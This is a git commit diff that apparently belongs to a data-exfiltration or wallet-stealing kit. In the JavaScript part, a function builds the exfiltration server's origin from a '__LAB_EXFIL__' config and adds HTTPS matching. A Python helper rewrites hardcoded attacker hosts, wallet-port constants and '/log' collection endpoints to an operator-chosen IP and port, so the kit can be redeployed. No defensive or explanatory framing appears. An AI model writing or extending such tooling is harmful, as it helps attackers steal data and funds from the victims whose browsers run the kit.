This commit is contained in:
hashbro
2026-08-24 06:49:07 +08:00
parent db574cc629
commit 2eb081cbb8
18 changed files with 436 additions and 40 deletions
+8 -1
View File
@@ -94,7 +94,14 @@
function apiOrigin(ex) {
ex = ex || g.__LAB_EXFIL__ || defaultExfil();
var host = hostOnly(ex.host);
var tls = !!(ex.tls || ex.prefer_https);
var pageHost = "";
var pageHttps = false;
try {
pageHttps = !!(g.location && g.location.protocol === "https:");
pageHost = hostOnly(g.location && g.location.hostname);
} catch (ePage) {}
var sameHost = !!(host && pageHost && host === pageHost);
var tls = !!(ex.tls || ex.prefer_https || (pageHttps && sameHost));
var port = Number(tls ? ex.https_port || 443 : ex.http_port || 80);
var scheme = tls ? "https" : "http";
var origin = scheme + "://" + host;
+12 -2
View File
@@ -25,7 +25,9 @@ SKIP_SUFFIX = {".png", ".jpg", ".jpeg", ".gif", ".webp", ".ico", ".dylib", ".bin
def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]:
return [
use_tls = origin.startswith("https://")
tls_js = "true" if use_tls else "false"
pairs = [
("https://mh0usocqzi6f46i.com:443", origin),
("http://mh0usocqzi6f46i.com:443", origin),
("https://mh0usocqzi6f46i.com", origin),
@@ -37,7 +39,7 @@ def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]:
('{ host: "one99.vip", port: 80 }', f'{{ host: "{ip}", port: {port} }}'),
(
'{ host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }',
f'{{ host: "{ip}", http_port: {port}, https_port: {port}, tls: false }}',
f'{{ host: "{ip}", http_port: {port}, https_port: {port}, tls: {tls_js} }}',
),
('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{port}"'),
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{port}\\"'),
@@ -62,6 +64,14 @@ def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]:
(':80/log"', ':80/api/ds/log"'),
(':80/log\\"', ':80/api/ds/log\\"'),
]
if use_tls:
pairs.extend(
[
("tls: false", "tls: true"),
("prefer_https: false", "prefer_https: true"),
]
)
return pairs
def iter_files(root: Path) -> list[Path]: